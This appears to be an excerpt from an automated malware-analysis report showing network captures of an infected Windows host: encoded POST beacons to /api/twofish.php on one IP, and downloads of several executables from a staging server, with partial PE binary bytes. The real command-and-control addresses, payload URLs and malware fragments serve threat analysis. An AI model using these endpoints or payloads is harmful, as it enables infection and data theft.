Aug 30, 2024 03:19:24.728854895 CEST	1.1.1.1	192.168.2.4	0xd5d5	Name error (3)	kKUNXsFvNT.kKUNXsFvNT	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	195.10.205.48	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:16:57.850816011 CEST	219	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: 195.10.205.48
Aug 30, 2024 03:16:58.509486914 CEST	259	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:16:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Aug 30, 2024 03:17:01.769922972 CEST	288	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 133 Host: 195.10.205.48
Aug 30, 2024 03:17:01.769956112 CEST	133	OUT	Data Raw: 64 61 74 61 3d 47 4c 69 38 50 47 39 61 37 36 65 73 56 37 53 64 55 56 6e 48 78 6d 61 65 35 61 4e 66 45 6a 64 4d 43 32 38 73 4f 78 4a 69 6e 6c 43 4f 7a 4c 47 69 59 54 54 6f 71 4b 5a 41 49 70 79 4c 32 32 5a 37 51 46 59 4b 55 33 4c 53 61 61 37 34 6a Data Ascii: data=GLi8PG9a76esV7SdUVnHxmae5aNfEjdMC28sOxJinlCOzLGiYTToqKZAIpyL22Z7QFYKU3LSaa74jGzYFYVkiORU0K0bkNrVHUdjUtzMgxrrKz3UVCMSPeGRP9MF6fDM
Aug 30, 2024 03:17:02.862034082 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6b 53 5a 77 49 4d 4e 43 69 2b 4a 53 4f 32 41 36 2f 68 41 41 64 6a 35 68 7a 51 34 2b 79 52 6d 71 6d 35 36 54 32 54 45 50 6a 6b 57 36 33 2f 6c 47 64 39 59 39 68 4a 4b 74 39 2b 57 65 43 41 52 37 6b 6a 71 74 66 31 32 6a 46 50 4e 52 7a 78 54 6f 65 64 44 76 46 4c 70 32 77 4e 39 4a 79 2f 61 70 39 44 79 51 64 36 4a 57 61 63 38 3d Data Ascii: kSZwIMNCi+JSO2A6/hAAdj5hzQ4+yRmqm56T2TEPjkW63/lGd9Y9hJKt9+WeCAR7kjqtf12jFPNRzxToedDvFLp2wN9Jy/ap9DyQd6JWac8=
Aug 30, 2024 03:17:02.978782892 CEST	288	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 133 Host: 195.10.205.48
Aug 30, 2024 03:17:02.978813887 CEST	133	OUT	Data Raw: 64 61 74 61 3d 4b 78 61 52 7a 33 71 71 75 36 4d 62 70 65 55 68 6b 4c 61 6a 74 4c 4d 46 6a 57 65 4a 56 37 59 41 51 46 30 59 59 37 36 30 66 4f 46 76 68 66 33 2d 6a 58 2d 4e 64 6a 4d 37 59 35 69 64 64 5a 51 35 37 30 59 74 32 62 4a 31 46 70 73 6e 4d Data Ascii: data=KxaRz3qqu6MbpeUhkLajtLMFjWeJV7YAQF0YY760fOFvhf3-jX-NdjM7Y5iddZQ570Yt2bJ1FpsnMDsHaBtUBSJ3CWrIkTonL_gIV-Z8rxws908xiy0Hn3fYe5JzOOMZ
Aug 30, 2024 03:17:04.682998896 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 2456 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 72 66 44 2f 56 6e 45 44 69 79 49 6f 39 59 6b 4d 4e 39 41 73 55 4e 4b 52 48 36 62 66 31 35 7a 36 4f 67 4e 31 55 61 36 39 65 2f 72 55 50 34 46 54 71 2b 4f 54 2b 33 44 33 30 58 74 66 48 63 74 74 6f 34 75 65 78 4c 4a 6d 6c 4e 64 65 58 54 73 2f 78 30 67 4a 6c 6a 4e 34 50 6c 41 35 74 74 56 70 37 41 2f 67 4b 52 65 38 76 76 4e 52 6a 57 2b 6d 49 34 58 6b 5a 55 35 50 78 57 53 4f 50 70 73 41 4d 71 2b 6a 6e 53 50 37 53 61 57 34 6a 4c 46 48 56 63 6e 79 59 4e 77 79 58 6e 42 4e 4c 73 53 2f 35 75 5a 6e 71 78 66 6d 74 61 33 39 4d 34 52 30 4b 78 31 2f 41 53 4c 4a 46 43 45 50 49 37 41 46 66 78 59 58 61 38 41 4d 65 77 58 61 7a 61 51 34 56 46 51 4a 41 53 43 41 51 32 50 52 73 6b 49 67 49 56 32 45 36 2b 6c 42 78 64 7a 67 61 38 6f 44 53 34 57 6a 7a 61 38 46 6d 42 72 46 49 2f 76 75 34 4b 42 4d 7a 6c 67 62 51 48 78 42 69 61 53 52 44 44 57 51 79 65 34 73 33 61 2f 79 75 32 52 74 43 2f 30 6e 65 6b 30 78 66 49 58 67 6e 50 67 68 53 69 48 42 38 6f 55 49 73 56 69 39 68 55 74 6f 74 76 67 4d 58 58 7a 7a 33 79 58 6f 75 43 32 4d 67 46 [TRUNCATED] Data Ascii: rfD/VnEDiyIo9YkMN9AsUNKRH6bf15z6OgN1Ua69e/rUP4FTq+OT+3D30XtfHctto4uexLJmlNdeXTs/x0gJljN4PlA5ttVp7A/gKRe8vvNRjW+mI4XkZU5PxWSOPpsAMq+jnSP7SaW4jLFHVcnyYNwyXnBNLsS/5uZnqxfmta39M4R0Kx1/ASLJFCEPI7AFfxYXa8AMewXazaQ4VFQJASCAQ2PRskIgIV2E6+lBxdzga8oDS4Wjza8FmBrFI/vu4KBMzlgbQHxBiaSRDDWQye4s3a/yu2RtC/0nek0xfIXgnPghSiHB8oUIsVi9hUtotvgMXXzz3yXouC2MgFR4RTbGka6mrWSW//PNR1LXAd3tT7Z2CRFPVfmZP187BgDhd00dK7PCnlt0a1RvnX+rFUGCxjTExZjMk/XwKY/3GNDkQqWQ/5j2jApPyeQxGPYPa6JQiUhDNxmYy80HFGMp7CkKtqJ0rLLvNhSKkKDD1+Zc/prr+moPN0kBW3lCz5ELgjxqsyGCM6uImLWE14RD01SB1MxKqkxgmRcmBiwpvC32TwGEdy/M6nSqyLSWScBTaf14WET5Jf6oLPcbog5TpjM4uNwaG2pyEcwGpzqzCh4dH/2sqqrayOh25D7+6H3Lv1rwmRi7mQC1ps6VRSmgM6RO60RwFLehlD2kpCDios6nrzuyS+WaqNcTzsQY9x+42rkiCJntvYprc6GYyqcf/oqi7K1dUAFRSkEDsuLNMDZpvIM68I4FFIGWJk7D9BqE5JIMMdZrzd5MofzQHctmqhr0L9H1xSnuz40p32OIF8EXKEl2DnjIVNiuwWaR8wx7eMuMA2SZtiY1TbaYDxiWsVIfCxHcd6hjzMPsMYtKBIXbeBbODnpZMyWo20RAgRVdDi21ysD1UbDHWIw9eM8lpztFjFUAbvt7U7nXtIp2egOPvGPXch/sVy1oLyIoqSI676ZwrPAeYFrbfq5CG6cs1
Aug 30, 2024 03:17:04.683018923 CEST	1236	IN	Data Raw: 54 43 58 4e 73 54 4a 6a 45 43 4d 34 2b 38 6e 53 43 54 58 4d 45 66 53 6a 68 41 49 73 56 69 53 4b 36 4c 66 32 70 57 68 71 69 30 47 59 33 70 47 4d 36 75 71 41 73 75 78 4d 2f 58 65 74 68 69 72 73 6d 50 5a 5a 34 61 55 6d 78 48 7a 65 54 74 33 34 38 4c Data Ascii: TCXNsTJjECM4+8nSCTXMEfSjhAIsViSK6Lf2pWhqi0GY3pGM6uqAsuxM/XethirsmPZZ4aUmxHzeTt348LGG3vO6a0eN2uAlLnDTGFcC7tfBFzLPNsiYPmRWauNDI80Z/RYKunw3HZ5OyRwZv7t2ZsrmynjZ/V/ICPlMwRJy39koB/eeWd4Vt/IGD/9XjjNnp1WQaMQ7xPuIyQT9SaC+bOSD1K0BVCm+hvfC3ZLAaCxiwovlozn
Aug 30, 2024 03:17:04.683026075 CEST	239	IN	Data Raw: 6a 44 55 67 64 71 35 37 45 7a 64 77 39 38 31 61 39 52 45 7a 4f 5a 2b 6a 61 63 64 75 4b 74 74 69 61 4e 69 74 38 7a 69 7a 37 5a 63 41 36 69 42 76 67 55 50 6a 72 79 47 35 4f 42 31 54 4b 66 59 54 4b 76 6f 6d 4e 43 67 74 41 2f 79 39 4c 59 38 70 52 67 Data Ascii: jDUgdq57Ezdw981a9REzOZ+jacduKttiaNit8ziz7ZcA6iBvgUPjryG5OB1TKfYTKvomNCgtA/y9LY8pRgv6TOqhCCv3RgReMHDZZHRCFTvyiG3dLAgUI9IrWfk1zGwlWHyYbfGDNZpapXZ9VKKTBHpjzZnI7BXKOw3sa4BvnYVMfEiPgqmJ7O02uX3jWjFB+qC6ybgIm9SqKCIgdWFGd+ji+emF9m1RLgrlC/p5URBiw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	147.45.44.104	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.142488003 CEST	216	OUT	HEAD /prog/66c6def3f0546_sss.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:05.802517891 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 3058688 Last-Modified: Thu, 22 Aug 2024 06:47:15 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6def3-2eac00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:05.802711964 CEST	231	OUT	HEAD /malesa/66cdfc485c6f9_instruction.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.003252029 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 5451592 Last-Modified: Tue, 27 Aug 2024 16:18:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cdfc48-532f48" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.003679991 CEST	223	OUT	HEAD /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.193876028 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 212520 Last-Modified: Thu, 29 Aug 2024 19:35:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd97-33e28" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.194109917 CEST	226	OUT	HEAD /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.388714075 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.388998985 CEST	224	OUT	GET /prog/66d0c13d2f0ed_ImpressedHub.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.579991102 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 913051 Last-Modified: Thu, 29 Aug 2024 18:43:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0c13d-dee9b" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 ce 06 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 60 10 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOnB8@`@4@d.textmn `.rdatab*,r@@.data~@.ndata0.rsrc@@@.reloc2P@B
Aug 30, 2024 03:17:06.580002069 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: U\}t+}FEuH-GHPuuu@KSV5-GWEPu@eEEPu@}eD@FRVVU+MM
Aug 30, 2024 03:17:06.580012083 CEST	1236	IN	Data Raw: 40 00 00 56 83 e1 0f ff 34 8a 05 c8 b0 40 00 50 e8 7d 53 00 00 83 7c 24 08 00 8b f0 7d 06 56 e8 a1 4b 00 00 8b c6 5e c2 04 00 55 8b ec 81 ec 10 02 00 00 53 56 57 8d 45 fc 50 a1 b0 2e 47 00 83 c8 08 50 33 db 53 ff 75 0c ff 75 08 ff 15 04 80 40 00 Data Ascii: @V4@P}S\|$}VK^USVWEP.GP3Suu@;ui5@9]uKSPuuWPSutu@jM;t$S5.Guuu@3@_^[9.Guuu@uU@@Vt
Aug 30, 2024 03:17:06.580199957 CEST	1236	IN	Data Raw: 00 eb 0d 57 68 4c 8c 40 00 c7 45 fc 01 00 00 00 e8 47 49 00 00 59 e9 49 fe ff ff 53 e8 f4 fa ff ff 8b f0 8d 45 08 50 57 68 04 20 00 00 56 ff 15 70 80 40 00 85 c0 74 24 8b 45 08 3b c6 76 29 66 39 18 74 24 56 e8 44 49 00 00 3b c3 74 0e 83 c0 2c 50 Data Ascii: WhL@EGIYISEPWh Vp@t$E;v)f9t$VDI;t,PuhF3fE9]+h WWl@jMQVh SPSh@3EfjXPVtDEj16EVPQh
Aug 30, 2024 03:17:06.580209970 CEST	1236	IN	Data Raw: f8 e8 25 f6 ff ff 8b c8 8b 45 e0 83 f8 0c 77 69 ff 24 85 18 32 40 00 03 f9 eb 5e 2b f9 eb 5a 0f af f9 eb 55 3b cb 74 07 8b c7 99 f7 f9 eb 1e 33 ff c7 45 fc 01 00 00 00 eb 3f 0b f9 eb 3b 23 f9 eb 37 33 f9 eb 33 33 c0 3b fb 0f 94 c0 8b f8 eb 28 3b Data Ascii: %Ewi$2@^+ZU;t3E?;#7333;(;u;t3G;u3;tWCjjYPWVH@E=@;t^H;t?;u;u"uh@CYYh jSIPEW@VA@
Aug 30, 2024 03:17:06.580219984 CEST	1236	IN	Data Raw: 00 33 c0 66 89 06 66 89 07 e9 16 f7 ff ff 6a ee e8 58 f1 ff ff 8d 4d ec 51 50 89 45 bc e8 97 5a 00 00 33 c9 66 89 0e 89 45 f0 66 89 0f c7 45 fc 01 00 00 00 3b c3 0f 84 b8 0d 00 00 50 6a 40 ff 15 24 81 40 00 89 45 08 3b c3 0f 84 a4 0d 00 00 50 ff Data Ascii: 3ffjXMQPEZ3fEfE;Pj@$@E;PuSuVZt4EPEPh8@u7ZtEpV;EpW;]u0@Qjh VWQNuEVWh@jh VWNuE
Aug 30, 2024 03:17:06.580230951 CEST	1236	IN	Data Raw: 20 00 00 56 8d 45 b8 50 53 57 ff 15 44 81 40 00 8d 45 b8 50 56 ff 15 1c 81 40 00 e9 01 f2 ff ff 51 e8 d7 39 00 00 59 89 45 08 39 5d e4 75 44 6a 02 e8 5a ed ff ff 8b f8 3b fb 0f 84 10 f2 ff ff 6a 33 e8 52 ec ff ff 8b f0 56 57 ff 15 10 80 40 00 56 Data Ascii: VEPSWD@EPV@Q9YE9]uDjZ;j3RVW@Vh0AuEhP@y:W@<j"Vuh$@V:E;u.GMQVP.E9]h;t=.GEEEjEjEWE
Aug 30, 2024 03:17:06.580245972 CEST	1236	IN	Data Raw: 66 a3 d0 f0 40 00 33 c0 40 eb 0d 6a 11 e8 b3 e7 ff ff 50 e8 70 33 00 00 66 39 1e 0f 84 5b ed ff ff 53 8d 4d 08 51 03 c0 50 68 d0 f0 40 00 56 e8 9f 32 00 00 50 ff 15 54 81 40 00 e9 34 ed ff ff 6a 02 59 e8 67 e7 ff ff 89 45 f8 83 f8 01 0f 8c f8 03 Data Ascii: f@3@jPp3f9[SMQPh@V2PT@4jYgE ;~Mf9{V]a2E9]fSEPjEPuX@J}@9]u0f}t2f}t+fEfwFMf;;u\|EfEf9Etf
Aug 30, 2024 03:17:06.580774069 CEST	1224	IN	Data Raw: 00 b9 1e 40 00 80 1f 40 00 80 1f 40 00 4a 20 40 00 65 20 40 00 82 20 40 00 9f 20 40 00 f9 20 40 00 75 21 40 00 b5 21 40 00 38 22 40 00 cc 22 40 00 fd 22 40 00 92 23 40 00 c1 23 40 00 f0 23 40 00 fb 24 40 00 65 26 40 00 fc 26 40 00 13 27 40 00 97 Data Ascii: @@@J @e @ @ @ @u!@!@8"@"@"@#@#@#@$@e&@&@'@'@'@(@)@@@*@#+@+@,@,@-@-@-@.@U.@n/@/@I0@0@0@0@0@2@6@:@?@U@Y@]@a@l@y@@@@U}u
Aug 30, 2024 03:17:06.580976963 CEST	1236	IN	Data Raw: 8b f8 57 53 e8 fa fc ff ff 85 c0 0f 84 79 01 00 00 83 3d 2c 2e 47 00 00 75 7a 6a 1c 53 8d 45 d8 50 e8 b3 27 00 00 8b 45 d8 a9 f0 ff ff ff 75 72 81 7d dc ef be ad de 75 69 81 7d e8 49 6e 73 74 75 60 81 7d e4 73 6f 66 74 75 57 81 7d e0 4e 75 6c 6c Data Ascii: WSy=,.GuzjSEP'Eur}ui}Instu`}softuW}NulluNEETB.GE,.G;EuEuAEp;vEujY;51C}WSu;E=TB+ 3jY9,.G9]t*5TBHjEP
Aug 30, 2024 03:17:06.580988884 CEST	1236	IN	Data Raw: 56 53 ff 15 18 81 40 00 85 c0 74 b9 55 53 ff 15 84 80 40 00 53 ff 15 78 80 40 00 66 39 2d a8 70 4c 00 75 0b 56 68 a8 70 4c 00 e8 d3 24 00 00 ff 74 24 1c 68 00 30 47 00 e8 c5 24 00 00 68 04 92 40 00 68 08 70 47 00 e8 b6 24 00 00 6a 1a 5f be e8 31 Data Ascii: VS@tUS@Sx@f9-pLuVhpL$t$h0G$h@hpG$j_1C-G V,Vp@9l$t?jVhM@t-UV0-G$Vb,V ;tP@l$fpGOuUS09-.Gt{j'j'j';tH;tD;
Aug 30, 2024 03:17:07.570218086 CEST	235	OUT	GET /malesa/66d08591035ef_AttachmentDaughters.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:07.787863016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:07 GMT Content-Type: application/octet-stream Content-Length: 1068804 Last-Modified: Thu, 29 Aug 2024 14:28:33 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d08591-104f04" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 ce 06 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 90 10 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOnB8@@4@=d.textmn `.rdatab*,r@@.data~@.ndata0.rsrc=@>@@.reloc2@B
Aug 30, 2024 03:17:08.524228096 CEST	230	OUT	GET /malesa/66cdfc485c6f9_instruction.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:08.715143919 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:08 GMT Content-Type: application/octet-stream Content-Length: 5451592 Last-Modified: Tue, 27 Aug 2024 16:18:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cdfc48-532f48" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 91 29 96 df 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 50 42 00 00 50 10 00 00 00 00 00 7e 6f 42 00 00 20 00 00 00 80 42 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 53 00 00 04 00 00 bc a3 53 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 30 6f 42 00 4b 00 00 00 00 a0 42 00 d4 49 10 00 00 00 00 00 00 00 00 00 00 a4 52 00 48 8b 00 00 00 00 53 00 0c 00 00 00 d9 6e 42 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL)PBP~oB B@ SS@0oBKBIRHSnB H.textOB PB `.sdatabBTB@.rsrcIBJXB@@.relocSR@B
Aug 30, 2024 03:17:12.496897936 CEST	222	OUT	GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:12.689280987 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:12 GMT Content-Type: application/octet-stream Content-Length: 212520 Last-Modified: Thu, 29 Aug 2024 19:35:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd97-33e28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e0 cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0c 03 00 00 0a 00 00 00 00 00 00 ae 2b 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 c3 4b 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 2b 03 00 53 00 00 00 00 40 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 18 03 00 28 26 00 00 00 60 03 00 0c 00 00 00 20 2a 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf+ @@ K`X+S@.(&` * H.text `.rsrc.@@@.reloc`@B+Hx%ywU%BN29p@V%%7=:u;7y&RJ[yA4-F @6nN39iw;psWm!2N1~}E~i=Bt&bc`w1{l%mU#8Rj&<zxqn;tue%r34G*xuU\`V,tX\|<1^+?Mf!,veMf2
Aug 30, 2024 03:17:12.783504963 CEST	218	OUT	GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
